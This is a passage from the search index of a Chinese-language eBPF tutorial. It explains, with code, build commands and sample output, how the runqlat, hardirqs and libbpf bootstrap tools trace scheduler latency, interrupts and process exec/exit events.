BPF_ANY); return 0;\n} pid_namespace 函数用于获取进程所属的 PID namespace： static unsigned int pid_namespace(struct task_struct *task)\n{ struct pid *pid; unsigned int level; struct upid upid; unsigned int inum; /* get the pid namespace by following task_active_pid_ns(), * pid->numbers[pid->level].ns */ pid = BPF_CORE_READ(task, thread_pid); level = BPF_CORE_READ(pid, level); bpf_core_read(&upid, sizeof(upid), &pid->numbers[level]); inum = BPF_CORE_READ(upid.ns, ns.inum); return inum;\n} handle_switch 函数是核心部分，用于处理调度切换事件，计算进程调度延迟并更新直方图数据： static int handle_switch(bool preempt, struct task_struct *prev, struct task_struct *next)\n{ ...\n} 首先，函数根据 filter_cg 的设置判断是否需要过滤 cgroup。然后，如果之前的进程状态为 TASK_RUNNING，则调用 trace_enqueue 函数记录进程的入队时间。接着，函数查找下一个进程的入队时间戳，如果找不到，直接返回。计算调度延迟（delta），并根据不同的选项设置（targ_per_process，targ_per_thread，targ_per_pidns），确定直方图映射的键（hkey）。然后查找或初始化直方图映射，更新直方图数据，最后删除进程的入队时间戳记录。 接下来是 eBPF 程序的入口点。程序使用三个入口点来捕获不同的调度事件： handle_sched_wakeup：用于处理 sched_wakeup 事件，当一个进程从睡眠状态被唤醒时触发。 handle_sched_wakeup_new：用于处理 sched_wakeup_new 事件，当一个新创建的进程被唤醒时触发。 handle_sched_switch：用于处理 sched_switch 事件，当调度器选择一个新的进程运行时触发。 这些入口点分别处理不同的调度事件，但都会调用 handle_switch 函数来计算进程的调度延迟并更新直方图数据。 最后，程序包含一个许可证声明： char LICENSE[] SEC(\"license\") = \"GPL\"; 这一声明指定了 eBPF 程序的许可证类型，这里使用的是 \"GPL\"。这对于许多内核功能是必需的，因为它们要求 eBPF 程序遵循 GPL 许可证。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat.bpf.c","id":"53","title":"runqlat.bpf.c"},"54":{"body":"然后我们需要定义一个头文件runqlat.h，用来给用户态处理从内核态上报的事件： /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n#ifndef __RUNQLAT_H\n#define __RUNQLAT_H #define TASK_COMM_LEN 16\n#define MAX_SLOTS 26 struct hist { __u32 slots[MAX_SLOTS]; char comm[TASK_COMM_LEN];\n}; #endif /* __RUNQLAT_H */","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat.h","id":"54","title":"runqlat.h"},"55":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 Compile: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者 $ ecc runqlat.bpf.c runqlat.h\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json... Run: $ sudo ecli run examples/bpftools/runqlat/package.json -h\nUsage: runqlat_bpf [--help] [--version] [--verbose] [--filter_cg] [--targ_per_process] [--targ_per_thread] [--targ_per_pidns] [--targ_ms] [--targ_tgid VAR] A simple eBPF program Optional arguments: -h, --help shows help message and exits -v, --version prints version information and exits --verbose prints libbpf debug information --filter_cg set value of bool variable filter_cg --targ_per_process set value of bool variable targ_per_process --targ_per_thread set value of bool variable targ_per_thread --targ_per_pidns set value of bool variable targ_per_pidns --targ_ms set value of bool variable targ_ms --targ_tgid set value of pid_t variable targ_tgid Built with eunomia-bpf framework.\nSee https://github.com/eunomia-bpf/eunomia-bpf for more information. $ sudo ecli run examples/bpftools/runqlat/package.json\nkey = 4294967295\ncomm = rcu_preempt (unit) : count distribution 0 -> 1 : 9 |**** | 2 -> 3 : 6 |** | 4 -> 7 : 12 |***** | 8 -> 15 : 28 |************* | 16 -> 31 : 40 |******************* | 32 -> 63 : 83 |****************************************| 64 -> 127 : 57 |*************************** | 128 -> 255 : 19 |********* | 256 -> 511 : 11 |***** | 512 -> 1023 : 2 | | 1024 -> 2047 : 2 | | 2048 -> 4095 : 0 | | 4096 -> 8191 : 0 | | 8192 -> 16383 : 0 | | 16384 -> 32767 : 1 | | $ sudo ecli run examples/bpftools/runqlat/package.json --targ_per_process\nkey = 3189\ncomm = cpptools (unit) : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 1 |*** | 16 -> 31 : 2 |******* | 32 -> 63 : 11 |****************************************| 64 -> 127 : 8 |***************************** | 128 -> 255 : 3 |********** | 完整源代码请见： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/9-runqlat 参考资料： https://www.brendangregg.com/blog/2016-10-08/linux-bcc-runqlat.html https://github.com/iovisor/bcc/blob/master/libbpf-tools/runqlat.c","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » 编译运行","id":"55","title":"编译运行"},"56":{"body":"runqlat 是一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度。编译这个程序可以使用 ecc 工具，运行时可以使用 ecli 命令。 runqlat 是一种用于监控Linux内核中进程调度延迟的工具。它可以帮助您了解进程在内核中等待执行的时间，并根据这些信息优化进程调度，提高系统的性能。可以在 libbpf-tools 中找到最初的源代码： https://github.com/iovisor/bcc/blob/master/libbpf-tools/runqlat.bpf.c 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » 总结","id":"56","title":"总结"},"57":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第十篇，在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件。 hardirqs 和 softirqs 是 Linux 内核中两种不同类型的中断处理程序。它们用于处理硬件设备产生的中断请求，以及内核中的异步事件。在 eBPF 中，我们可以使用同名的 eBPF 工具 hardirqs 和 softirqs 来捕获和分析内核中与中断处理相关的信息。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » eBPF 入门开发实践教程十：在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件","id":"57","title":"eBPF 入门开发实践教程十：在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件"},"58":{"body":"hardirqs 是硬件中断处理程序。当硬件设备产生一个中断请求时，内核会将该请求映射到一个特定的中断向量，然后执行与之关联的硬件中断处理程序。硬件中断处理程序通常用于处理设备驱动程序中的事件，例如设备数据传输完成或设备错误。 softirqs 是软件中断处理程序。它们是内核中的一种底层异步事件处理机制，用于处理内核中的高优先级任务。softirqs 通常用于处理网络协议栈、磁盘子系统和其他内核组件中的事件。与硬件中断处理程序相比，软件中断处理程序具有更高的灵活性和可配置性。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » hardirqs 和 softirqs 是什么？","id":"58","title":"hardirqs 和 softirqs 是什么？"},"59":{"body":"在 eBPF 中，我们可以通过挂载特定的 kprobe 或者 tracepoint 来捕获和分析 hardirqs 和 softirqs。为了捕获 hardirqs 和 softirqs，需要在相关的内核函数上放置 eBPF 程序。这些函数包括： 对于 hardirqs：irq_handler_entry 和 irq_handler_exit。 对于 softirqs：softirq_entry 和 softirq_exit。 当内核处理 hardirqs 或 softirqs 时，这些 eBPF 程序会被执行，从而收集相关信息，如中断向量、中断处理程序的执行时间等。收集到的信息可以用于分析内核中的性能问题和其他与中断处理相关的问题。 为了捕获 hardirqs 和 softirqs，可以遵循以下步骤： 在 eBPF 程序中定义用于存储中断信息的数据结构和映射。 编写 eBPF 程序，将其挂载到相应的内核函数上，以捕获 hardirqs 或 softirqs。 在 eBPF 程序中，收集中断处理程序的相关信息，并将这些信息存储在映射中。 在用户空间应用程序中，读取映射中的数据以分析和展示中断处理信息。 通过上述方法，我们可以在 eBPF 中使用 hardirqs 和 softirqs 捕获和分析内核中的中断事件，以识别潜在的性能问题和与中断处理相关的问题。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » 实现原理","id":"59","title":"实现原理"},"6":{"body":"原始的eBPF程序编写是非常繁琐和困难的。为了改变这一现状，llvm于2015年推出了可以将由高级语言编写的代码编译为eBPF字节码的功能，同时，eBPF 社区将 bpf() 等原始的系统调用进行了初步地封装，给出了libbpf库。这些库会包含将字节码加载到内核中的函数以及一些其他的关键函数。在Linux的源码包的samples/bpf/目录下，有大量Linux提供的基于libbpf的eBPF样例代码。 一个典型的基于 libbpf 的eBPF程序具有*_kern.c和*_user.c两个文件，*_kern.c中书写在内核中的挂载点以及处理函数，*_user.c中书写用户态代码，完成内核态代码注入以及与用户交互的各种任务。 更为详细的教程可以参考 该视频 然而由于该方法仍然较难理解且入门存在一定的难度，因此现阶段的eBPF程序开发大多基于一些工具，比如： BCC BPFtrace libbpf-bootstrap Go eBPF library 以及还有比较新的工具，例如 eunomia-bpf.","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 3. 如何使用eBPF编程","id":"6","title":"3. 如何使用eBPF编程"},"60":{"body":"hardirqs 程序的主要目的是获取中断处理程序的名称、执行次数和执行时间，并以直方图的形式展示执行时间的分布。让我们一步步分析这段代码。 // SPDX-License-Identifier: GPL-2.0\n// Copyright (c) 2020 Wenbo Zhang\n#include \n#include \n#include \n#include \n#include \"hardirqs.h\"\n#include \"bits.bpf.h\"\n#include \"maps.bpf.h\" #define MAX_ENTRIES 256 const volatile bool filter_cg = false;\nconst volatile bool targ_dist = false;\nconst volatile bool targ_ns = false;\nconst volatile bool do_count = false; struct { __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); __type(key, u32); __type(value, u32); __uint(max_entries, 1);\n} cgroup_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERCPU_ARRAY); __uint(max_entries, 1); __type(key, u32); __type(value, u64);\n} start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, struct irq_key); __type(value, struct info);\n} infos SEC(\".maps\"); static struct info zero; static int handle_entry(int irq, struct irqaction *action)\n{ if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; if (do_count) { struct irq_key key = {}; struct info *info; bpf_probe_read_kernel_str(&key.name, sizeof(key.name), BPF_CORE_READ(action, name)); info = bpf_map_lookup_or_try_init(&infos, &key, &zero); if (!info) return 0; info->count += 1; return 0; } else { u64 ts = bpf_ktime_get_ns(); u32 key = 0; if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; bpf_map_update_elem(&start, &key, &ts, BPF_ANY); return 0; }\n} static int handle_exit(int irq, struct irqaction *action)\n{ struct irq_key ikey = {}; struct info *info; u32 key = 0; u64 delta; u64 *tsp; if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; tsp = bpf_map_lookup_elem(&start, &key); if (!tsp) return 0; delta = bpf_ktime_get_ns() - *tsp; if (!targ_ns) delta /= 1000U; bpf_probe_read_kernel_str(&ikey.name, sizeof(ikey.name), BPF_CORE_READ(action, name)); info = bpf_map_lookup_or_try_init(&infos, &ikey, &zero); if (!info) return 0; if (!targ_dist) { info->count += delta; } else { u64 slot; slot = log2(delta); if (slot >= MAX_SLOTS) slot = MAX_SLOTS - 1; info->slots[slot]++; } return 0;\n} SEC(\"tp_btf/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry_btf, int irq, struct irqaction *action)\n{ return handle_entry(irq, action);\n} SEC(\"tp_btf/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit_btf, int irq, struct irqaction *action)\n{ return handle_exit(irq, action);\n} SEC(\"raw_tp/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry, int irq, struct irqaction *action)\n{ return handle_entry(irq, action);\n} SEC(\"raw_tp/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit, int irq, struct irqaction *action)\n{ return handle_exit(irq, action);\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这段代码是一个 eBPF 程序，用于捕获和分析内核中硬件中断处理程序（hardirqs）的执行信息。程序的主要目的是获取中断处理程序的名称、执行次数和执行时间，并以直方图的形式展示执行时间的分布。让我们一步步分析这段代码。 包含必要的头文件和定义数据结构： #include \n#include \n#include \n#include \n#include \"hardirqs.h\"\n#include \"bits.bpf.h\"\n#include \"maps.bpf.h\" 该程序包含了 eBPF 开发所需的标准头文件，以及用于定义数据结构和映射的自定义头文件。 定义全局变量和映射： #define MAX_ENTRIES 256 const volatile bool filter_cg = false;\nconst volatile bool targ_dist = false;\nconst volatile bool targ_ns = false;\nconst volatile bool do_count = false; ... 该程序定义了一些全局变量，用于配置程序的行为。例如，filter_cg 控制是否过滤 cgroup，targ_dist 控制是否显示执行时间的分布等。此外，程序还定义了三个映射，分别用于存储 cgroup 信息、开始时间戳和中断处理程序的信息。 定义两个辅助函数 handle_entry 和 handle_exit： 这两个函数分别在中断处理程序的入口和出口处被调用。handle_entry 记录开始时间戳或更新中断计数，handle_exit 计算中断处理程序的执行时间，并将结果存储到相应的信息映射中。 定义 eBPF 程序的入口点： SEC(\"tp_btf/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry_btf, int irq, struct irqaction *action)\n{\nreturn handle_entry(irq, action);\n} SEC(\"tp_btf/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit_btf, int irq, struct irqaction *action)\n{\nreturn handle_exit(irq, action);\n} SEC(\"raw_tp/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry, int irq, struct irqaction *action)\n{\nreturn handle_entry(irq, action);\n} SEC(\"raw_tp/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit, int irq, struct irqaction *action)\n{\nreturn handle_exit(irq, action);\n} 这里定义了四个 eBPF 程序入口点，分别用于捕获中断处理程序的入口和出口事件。tp_btf 和 raw_tp 分别代表使用 BPF Type Format（BTF）和原始 tracepoints 捕获事件。这样可以确保程序在不同内核版本上可以移植和运行。 Softirq 代码也类似，这里就不再赘述了。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » hardirqs 代码实现","id":"60","title":"hardirqs 代码实现"},"61":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 要编译这个程序，请使用 ecc 工具： $ ecc hardirqs.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 然后运行： sudo ecli run ./package.json","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » 运行代码","id":"61","title":"运行代码"},"62":{"body":"在本章节（eBPF 入门开发实践教程十：在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件）中，我们学习了如何使用 eBPF 程序捕获和分析内核中硬件中断处理程序（hardirqs）的执行信息。我们详细讲解了示例代码，包括如何定义数据结构、映射以及 eBPF 程序入口点，以及如何在中断处理程序的入口和出口处调用辅助函数来记录执行信息。 通过学习本章节内容，您应该已经掌握了如何在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件的方法，以及如何分析这些事件以识别内核中的性能问题和其他与中断处理相关的问题。这些技能对于分析和优化 Linux 内核的性能至关重要。 为了更好地理解和实践 eBPF 编程，我们建议您阅读 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。此外，我们还为您提供了完整的教程和源代码，您可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看和学习。希望本教程能够帮助您顺利入门 eBPF 开发，并为您的进一步学习和实践提供有益的参考。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » 总结","id":"62","title":"总结"},"63":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 在本教程中，我们将了解内核态和用户态的 eBPF 程序是如何协同工作的。我们还将学习如何使用原生的 libbpf 开发用户态程序，将 eBPF 应用打包为可执行文件，实现跨内核版本分发。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » eBPF 入门开发实践教程十一：在 eBPF 中使用 libbpf 开发用户态程序并跟踪 exec() 和 exit() 系统调用","id":"63","title":"eBPF 入门开发实践教程十一：在 eBPF 中使用 libbpf 开发用户态程序并跟踪 exec() 和 exit() 系统调用"},"64":{"body":"libbpf 是一个 C 语言库，伴随内核版本分发，用于辅助 eBPF 程序的加载和运行。它提供了用于与 eBPF 系统交互的一组 C API，使开发者能够更轻松地编写用户态程序来加载和管理 eBPF 程序。这些用户态程序通常用于分析、监控或优化系统性能。 使用 libbpf 库有以下优势： 它简化了 eBPF 程序的加载、更新和运行过程。 它提供了一组易于使用的 API，使开发者能够专注于编写核心逻辑，而不是处理底层细节。 它能够确保与内核中的 eBPF 子系统的兼容性，降低了维护成本。 同时，libbpf 和 BTF（BPF Type Format）都是 eBPF 生态系统的重要组成部分。它们各自在实现跨内核版本兼容方面发挥着关键作用。BTF（BPF Type Format）是一种元数据格式，用于描述 eBPF 程序中的类型信息。BTF 的主要目的是提供一种结构化的方式，以描述内核中的数据结构，以便 eBPF 程序可以更轻松地访问和操作它们。 BTF 在实现跨内核版本兼容方面的关键作用如下： BTF 允许 eBPF 程序访问内核数据结构的详细类型信息，而无需对特定内核版本进行硬编码。这使得 eBPF 程序可以适应不同版本的内核，从而实现跨内核版本兼容。 通过使用 BPF CO-RE（Compile Once, Run Everywhere）技术，eBPF 程序可以利用 BTF 在编译时解析内核数据结构的类型信息，进而生成可以在不同内核版本上运行的 eBPF 程序。 结合 libbpf 和 BTF，eBPF 程序可以在各种不同版本的内核上运行，而无需为每个内核版本单独编译。这极大地提高了 eBPF 生态系统的可移植性和兼容性，降低了开发和维护的难度。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » libbpf 库，以及为什么需要使用它","id":"64","title":"libbpf 库，以及为什么需要使用它"},"65":{"body":"Bootstrap 是一个使用 libbpf 的完整应用，它利用 eBPF 程序来跟踪内核中的 exec() 系统调用（通过 SEC(\"tp/sched/sched_process_exec\") handle_exec BPF 程序），这主要对应于新进程的创建（不包括 fork() 部分）。此外，它还跟踪进程的 exit() 系统调用（通过 SEC(\"tp/sched/sched_process_exit\") handle_exit BPF 程序），以了解每个进程何时退出。 这两个 BPF 程序共同工作，允许捕获关于新进程的有趣信息，例如二进制文件的文件名，以及测量进程的生命周期，并在进程结束时收集有趣的统计信息，例如退出代码或消耗的资源量等。这是深入了解内核内部并观察事物如何真正运作的良好起点。 Bootstrap 还使用 argp API（libc 的一部分）进行命令行参数解析，使得用户可以通过命令行选项配置应用行为。这种方式提供了灵活性，让用户能够根据实际需求自定义程序行为。虽然这些功能使用 eunomia-bpf 工具也可以实现，但是这里我们使用 libbpf 可以在用户态提供更高的可扩展性，不过也带来了不少额外的复杂度。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 什么是 bootstrap","id":"65","title":"什么是 bootstrap"},"66":{"body":"Bootstrap 分为两个部分：内核态和用户态。内核态部分是一个 eBPF 程序，它跟踪 exec() 和 exit() 系统调用。用户态部分是一个 C 语言程序，它使用 libbpf 库来加载和运行内核态程序，并处理从内核态程序收集的数据。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » Bootstrap","id":"66","title":"Bootstrap"},"67":{"body":"// SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause\n/* Copyright (c) 2020 Facebook */\n#include \"vmlinux.h\"\n#include \n#include \n#include \n#include \"bootstrap.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, pid_t); __type(value, u64);\n} exec_start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); const volatile unsigned long long min_duration_ns = 0; SEC(\"tp/sched/sched_process_exec\")\nint handle_exec(struct trace_event_raw_sched_process_exec *ctx)\n{ struct task_struct *task; unsigned fname_off; struct event *e; pid_t pid; u64 ts; /* remember time exec() was executed for this PID */ pid = bpf_get_current_pid_tgid() >> 32; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&exec_start, &pid, &ts, BPF_ANY); /* don't emit exec events when minimum duration is specified */ if (min_duration_ns) return 0; /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->exit_event = false; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); bpf_get_current_comm(&e->comm, sizeof(e->comm)); fname_off = ctx->__data_loc_filename & 0xFFFF; bpf_probe_read_str(&e->filename, sizeof(e->filename), (void *)ctx + fname_off); /* successfully submit it to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} SEC(\"tp/sched/sched_process_exit\")\nint handle_exit(struct trace_event_raw_sched_process_template* ctx)\n{ struct task_struct *task; struct event *e; pid_t pid, tid; u64 id, ts, *start_ts, duration_ns = 0; /* get PID and TID of exiting thread/process */ id = bpf_get_current_pid_tgid(); pid = id >> 32; tid = (u32)id; /* ignore thread exits */ if (pid != tid) return 0; /* if we recorded start of the process, calculate lifetime duration */ start_ts = bpf_map_lookup_elem(&exec_start, &pid); if (start_ts) duration_ns = bpf_ktime_get_ns() - *start_ts; else if (min_duration_ns) return 0; bpf_map_delete_elem(&exec_start, &pid); /* if process didn't live long enough, return early */ if (min_duration_ns && duration_ns < min_duration_ns) return 0; /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->exit_event = true; e->duration_ns = duration_ns; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; bpf_get_current_comm(&e->comm, sizeof(e->comm)); /* send data to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} 这段代码是一个内核态 eBPF 程序（bootstrap.bpf.c），主要用于跟踪 exec() 和 exit() 系统调用。它通过 eBPF 程序捕获进程的创建和退出事件，并将相关信息发送到用户态程序进行处理。下面是对代码的详细解释。 首先，我们引入所需的头文件，定义 eBPF 程序的许可证以及两个 eBPF maps：exec_start 和 rb。exec_start 是一个哈希类型的 eBPF map，用于存储进程开始执行时的时间戳。rb 是一个环形缓冲区类型的 eBPF map，用于存储捕获的事件数据，并将其发送到用户态程序。 #include \"vmlinux.h\"\n#include \n#include \n#include \n#include \"bootstrap.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, pid_t); __type(value, u64);\n} exec_start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); const volatile unsigned long long min_duration_ns = 0; 接下来，我们定义了一个名为 handle_exec 的 eBPF 程序，它会在进程执行 exec() 系统调用时触发。首先，我们从当前进程中获取 PID，记录进程开始执行的时间戳，然后将其存储在 exec_start map 中。 SEC(\"tp/sched/sched_process_exec\")\nint handle_exec(struct trace_event_raw_sched_process_exec *ctx)\n{ // ... pid = bpf_get_current_pid_tgid() >> 32; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&exec_start, &pid, &ts, BPF_ANY); // ...\n} 然后，我们从环形缓冲区 map rb 中预留一个事件结构，并填充相关数据，如进程 ID、父进程 ID、进程名等。之后，我们将这些数据发送到用户态程序进行处理。 // reserve sample from BPF ringbuf e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; // fill out the sample with data task = (struct task_struct *)bpf_get_current_task(); e->exit_event = false; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); bpf_get_current_comm(&e->comm, sizeof(e->comm)); fname_off = ctx->__data_loc_filename & 0xFFFF; bpf_probe_read_str(&e->filename, sizeof(e->filename), (void *)ctx + fname_off); // successfully submit it to user-space for post-processing bpf_ringbuf_submit(e, 0); return 0; 最后，我们定义了一个名为 handle_exit 的 eBPF 程序，它会在进程执行 exit() 系统调用时触发。首先，我们从当前进程中获取 PID 和 TID（线程 ID）。如果 PID 和 TID 不相等，说明这是一个线程退出，我们将忽略此事件。 SEC(\"tp/sched/sched_process_exit\")\nint handle_exit(struct trace_event_raw_sched_process_template* ctx)\n{ // ... id = bpf_get_current_pid_tgid(); pid = id >> 32; tid = (u32)id; /* ignore thread exits */ if (pid != tid) return 0; // ...\n} 接着，我们查找之前存储在 exec_start map 中的进程开始执行的时间戳。如果找到了时间戳，我们将计算进程的生命周期（持续时间），然后从 exec_start map 中删除该记录。如果未找到时间戳且指定了最小持续时间，则直接返回。 // if we recorded start of the process, calculate lifetime duration start_ts = bpf_map_lookup_elem(&exec_start, &pid); if (start_ts) duration_ns = bpf_ktime_get_ns() - *start_ts; else if (min_duration_ns) return 0; bpf_map_delete_elem(&exec_start, &pid); // if process didn't live long enough, return early if (min_duration_ns && duration_ns < min_duration_ns) return 0; 然后，我们从环形缓冲区 map rb 中预留一个事件结构，并填充相关数据，如进程 ID、父进程 ID、进程名、进程持续时间等。最后，我们将这些数据发送到用户态程序进行处理。 /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->exit_event = true; e->duration_ns = duration_ns; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; bpf_get_current_comm(&e->comm, sizeof(e->comm)); /* send data to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} 这样，当进程执行 exec() 或 exit() 系统调用时，我们的 eBPF 程序会捕获相应的事件，并将详细信息发送到用户态程序进行后续处理。这使得我们可以轻松地监控进程的创建和退出，并获取有关进程的详细信息。 除此之外，在 bootstrap.h 中，我们还定义了和用户态交互的数据结构： /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n/* Copyright (c) 2020 Facebook */\n#ifndef __BOOTSTRAP_H\n#define __BOOTSTRAP_H #define TASK_COMM_LEN 16\n#define MAX_FILENAME_LEN 127 struct event { int pid; int ppid; unsigned exit_code; unsigned long long duration_ns; char comm[TASK_COMM_LEN]; char filename[MAX_FILENAME_LEN]; bool exit_event;\n}; #endif /* __BOOTSTRAP_H */","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 内核态 eBPF 程序 bootstrap.bpf.c","id":"67","title":"内核态 eBPF 程序 bootstrap.bpf.c"},"68":{"body":"// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)\n/* Copyright (c) 2020 Facebook */\n#include \n#include \n#include \n#include \n#include \n#include \n#include \"bootstrap.h\"\n#include \"bootstrap.skel.h\" static struct env { bool verbose; long min_duration_ms;\n} env; const char *argp_program_version = \"bootstrap 0.0\";\nconst char *argp_program_bug_address = \"\";\nconst char argp_program_doc[] =\n\"BPF bootstrap demo application.\\n\"\n\"\\n\"\n\"It traces process start and exits and shows associated \\n\"\n\"information (filename, process duration, PID and PPID, etc).\\n\"\n\"\\n\"\n\"USAGE: ./bootstrap [-d ] [-v]\\n\"; static const struct argp_option opts[] = { { \"verbose\", 'v', NULL, 0, \"Verbose debug output\" }, { \"duration\", 'd', \"DURATION-MS\", 0, \"Minimum process duration (ms) to report\" }, {},\n}; static error_t parse_arg(int key, char *arg, struct argp_state *state)\n{ switch (key) { case 'v': env.verbose = true; break; case 'd': errno = 0; env.min_duration_ms = strtol(arg, NULL, 10); if (errno || env.min_duration_ms <= 0) { fprintf(stderr, \"Invalid duration: %s\\n\", arg); argp_usage(state); } break; case ARGP_KEY_ARG: argp_usage(state); break; default: return ARGP_ERR_UNKNOWN; } return 0;\n} static const struct argp argp = { .options = opts, .parser = parse_arg, .doc = argp_program_doc,\n}; static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args)\n{ if (level == LIBBPF_DEBUG && !env.verbose) return 0; return vfprintf(stderr, format, args);\n} static volatile bool exiting = false; static void sig_handler(int sig)\n{ exiting = true;\n} static int handle_event(void *ctx, void *data, size_t data_sz)\n{ const struct event *e = data; struct tm *tm; char ts[32]; time_t t; time(&t); tm = localtime(&t); strftime(ts, sizeof(ts), \"%H:%M:%S\", tm); if (e->exit_event) { printf(\"%-8s %-5s %-16s %-7d %-7d [%u]\", ts, \"EXIT\", e->comm, e->pid, e->ppid, e->exit_code); if (e->duration_ns) printf(\" (%llums)\", e->duration_ns / 1000000); printf(\"\\n\"); } else { printf(\"%-8s %-5s %-16s %-7d %-7d %s\\n\", ts, \"EXEC\", e->comm, e->pid, e->ppid, e->filename); } return 0;\n} int main(int argc, char **argv)\n{ struct ring_buffer *rb = NULL; struct bootstrap_bpf *skel; int err; /* 